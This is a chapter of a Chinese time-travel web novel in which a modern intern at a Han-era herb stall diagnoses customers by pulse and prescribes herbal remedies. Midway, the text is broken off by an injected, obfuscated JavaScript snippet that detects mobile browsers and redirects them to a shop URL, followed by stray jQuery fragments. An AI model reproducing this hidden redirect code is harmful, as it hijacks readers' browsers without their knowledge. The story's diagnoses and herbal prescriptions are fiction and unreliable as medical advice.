古妍纠结,是因为她吃过这种亏。
也是在她实习期间,轮班到产科门诊,有位孕妇排便不顺,接诊医生询问了一些情况,就给她开了乳果糖,并叮嘱她减少补铁剂的摄入,再搭配一点维生素C。
听起来没什么问题,可在旁边记录的古妍在得知对方已四天没有排便,且伴有腹痛时,眉头渐渐蹙起,脱口而出:“为排除肠梗阻或其他疾病风险,最好进一步检查。”
此言一出,医生和孕妇同时愣住。
片刻后,医生便给孕妇开了相应的检查,继续看诊下一位病人,也没跟古妍多说什么,可当月发工资,她被扣除了部分绩效,理由是门诊期间的非专业表现影响了病人的情绪。
古妍:……
自此,她谨言慎行,不再当面指出领导的错误。
只不过,她会私底下想法消除这些错误,因为她始终谨记,自己是一名救死扶伤的医生。
即便是肛肠科大夫,那也是菊花卫士O(*^▽^*)┛
嗯!
拿定注意后,古妍凑到即将写完方子的钱东家身旁,小声说道:“男君,要不要再加点肉苁蓉、当归?”
钱东家拿刀笔的手一滞,微眯起双眼扭头看向她,“为何要加这两种药材?”
对上他质疑的眼神,古妍在心里深吸了一口气,镇定解释道:“宝儿确乃脾气虚导致他食欲不振,身体虚弱,同时,他排便少,极有可能是阳结所致。”
“他进食少,自然排便少。”钱东家强调。
古妍却摇头,“排便少,也可能是阳结导致排便不顺,脾虚肯定会造成脾胃的运化能力变差,从而导致大便干燥、排便困难,因为胃功能一旦减弱,肠道传导便会无力。”
钱东家听得一愣一愣,看向古妍的眼神愈发狐疑,“你都是从哪儿学来的?”
古妍垂首,“之前不是讲过,我未婚夫的兄长是当地一名铃医,他除了从医书上习得老祖宗传下的治病救人之法,还会自创一些独门医术,我自小就被养在他们家,耳闻目染,也学了不少。”
“唔……”钱东家捋着稀疏的山羊须,沉思默想。
古妍不再开口,敛眉垂目。
半晌后,他重新提笔,将古妍提到的两种药材写了上去,紧接着,将简牍递给她,吩咐道:“妍姬,就由你来配药吧。”
“是!”古妍双手接过简牍,转身来到那个大木箱前,从各类小竹筐和小木箱里捡出相应的药材。
钱东家不愧为专业药材商,他根据药材的不同性状,用不同的容器盛放,诸如易霉的树皮、茎叶类药材,就放竹筐里,易受潮的动物类药材与带有毒性的药材则放于木箱中。
分得细,古妍找起来也很容易,再用青铜砝码来称重量。
砝码又称“权”,是与天平配合使用的称重工具。
一共12枚,重量从3.5克到245.8克不等,约合汉制五铢、一两、二两、四两、半斤、一斤,专门用于称量黄金、贵重药材、进口香料等贵重物品。
古妍觉得,这比后世出现的戥秤更好用。
“诶?”
老妪看了一会儿,见配药的人换成了古妍,不禁疑惑:“钱东家,这位女郎是?”
钱东家捋须而笑,“她叫妍姬,是我才收的徒弟。”
古妍拿砝码的手一抖,在心里吐槽:你个老登占我便宜!
谁是师父谁是徒弟可真不好说─━ _ ─━??
至少在看诊方面,对于有过轮科室实习经验的古妍,肯定比钱东家强上一些。
既然“喜当徒”了,古妍干脆顺杆直上,用麻布将配好的药材打包后,递给老妪的同时,把住了她的脉搏,“老媪,买一送一,我帮你把把脉吧。”
“买一送一?”老妪没听懂,抬眸看向钱东家。
钱东家打哈哈笑说:“全当为你免费看诊一次。”
古妍闭着眼,细细感受老妪的脉搏,缓缓开口:“沉脉,偏虚,气血不能鼓动脉搏所致。”
她睁开了眼,对老妪说:“老媪,你可能患有慢性肠炎,也就是肠癖,应及时治疗。”
“肠癖?”钱东家一听,赶紧也伸手过来帮老妪把了一下脉,不过显然他对肛肠类疾病不甚熟知,脸上的神情迟疑不定。
旋即,他看向古妍,以眼神询问她是如何判断的。
古妍目视着老妪,话却是对他在说:“肠癖来势不猛,缓而绵长,似钝刀剁肉,起初无甚异状,但久不治疗,便会面色萎靡,精神不济,四肢乏力…老媪,想必你喜暖,畏寒吧?”
闻言,钱东家这才注意到,已是暖春时节,老妪还穿着夹层填充麻絮的厚麻葛冬衣。
“是…妍姬说的没错。”老妪点点头,攒眉蹙额,“听你说的,这病是不是很严重啊?”
古妍客观地说:“这是老年人常见的肛肠疾病,但并非绝症,跟你家宝儿一样,同样需要健脾,不同的是,宝儿是阳结,你是腹痛泄泻,而且你的病情比宝儿的严重些,除了内服,还需要外敷。”
“外敷?”老妪和钱东家都听得似懂非懂。
钱东家问古妍:“肠癖乃体内之病,又不是跌打损伤,如何外敷?”
看看吧,外行了不是?
古妍不动声色地在心里嘀咕了一句,“以吴萸、细辛、白芷、五灵脂、蒲黄、冰片共研细未,以陈醋调成糊状,敷于神阙穴。”
“哦!”钱东家懂了,“温中散寒、健脾和胃。”
古妍又道:“内服外敷,三食疗,忌食生冷,少食油腻,晚膳吃山药扁豆苡米粥,最少连续食粥3个月。”
“啥…啥粥?”老妪明显没听说过。
古妍这才想起,当下还没出现这种药膳粥,只有火齐粥。
“就是用薯蓣、含羞草决明、薏苡熬煮出的药粥。”
“还有这种药粥?”老妪持疑地看向钱东家。
钱东家面皮抽了抽,迅速在脑中搜索这三种东西的各自药性,以及合在一起的药用。
薯蓣味甘、性平,归脾、肺、肾经;含羞草决明味甘,性微温,归属脾、胃二经,能调和脾胃;薏苡甘淡补益,微寒清热,兼具补虚与祛邪作用…三者熬煮成粥…可以一试。
“多谢钱东家,多谢妍姬。”
拿上两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758204|190100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包药材,老妪道谢后,便带着孙儿满意离去。
她没有想到,来给孙儿买药,居然还能治一下自己的老毛病。
不过在这之前,她并未将这老毛病视为疾病,还以为是年纪大了,身子不中用所致。
钱东家同样始料未及,这位老妪是常客了,不是过来为孙儿买药,有就是帮家里人买些治头疼脑热或者跌打损伤的药,打过照面数回,他却从未看出,她面色有异。
老年人嘛,有几个红光满面的?不是脸发黄就是脸发青。
可古妍才看一眼,就发觉出她体内的病灶,着实不简单啊!
看来这300钱,给得划算。
他背对着古妍,贼笑捋须。
古妍也背对着他,在心里算计。
既然钱东家没有排斥我帮客人看诊,要不顺着杆子再往上多爬一截,让他干脆摆个看诊的招子,由我来坐诊,届时,诊金一人一半?
“男君……”
“男君!”
她刚转身开口,就被另一道更洪亮的喊声打断,抬眸一看,是钱妻。
霎时,她往一旁挪了挪,以拉开她和钱东家的距离。
钱妻飞快地瞟了她一眼,笑着走向钱东家,“前段时日,柳姬闹着要吃林檎,我一下便买了一大筐,可她今日又说,吃腻了…这林檎不能搁太久,我便捡出一篮带了过来。”
“给妍姬拿一个去吧。”钱东家颔首,说道。
钱妻特意挑了一个又红又大的递给古妍,满脸堆笑,关切询问:“妍姬,可有累着你?”
“不累!”妍姬忙道。
出摊可比在家里打扫卫生轻松多了。
嗅闻着手里芳香甜美的林檎,古妍小口吃了起来。
唔…真好吃!
她都要哭了,这么多天,第一次吃到林檎。
“妍姬呀……”
钱妻也拿着一个林檎,在她身旁缓缓坐下,徐徐开口:“据说,你未婚夫战死沙场,那怎么不想着再寻一门亲事?按理说,你在他们家住了这么久,不是亲人也胜似亲人,帮你寻一门亲事不是难事。”
“况且,你已及笄,再不嫁人,这单身税可不是一笔小数目。”
古妍低着头说:“我的未婚夫玉树临风、英姿飒爽,我再难找到一个像他那样的如意郎君,宁可玉碎不为瓦全,与其嫁给不如他的男子,还不如缴一辈子单身税。”
“玉树临风、英姿飒爽啊?”钱妻闻言,别有深意地瞄了一眼正在吧唧着嘴嚼林檎的钱东家。
瞅着他因用力咀嚼而更加深邃的褶子,不由放心地笑了。
瞧吧,人家看不上你这个老东西→_→
“咳咳咳……”
钱东家立即被呛到,也往旁边挪了挪,与钱妻拉开距离。
钱妻吃完林檎便放心离去。
她前脚一走,凝固的空气骤然消散,古妍和钱东家同时吁了一口气。
“呼……”
听到彼此发出的声音,二人相视一笑。
梆梆梆——
酉时至,锣敲三响,集市毕。
古妍下班了(^ν^)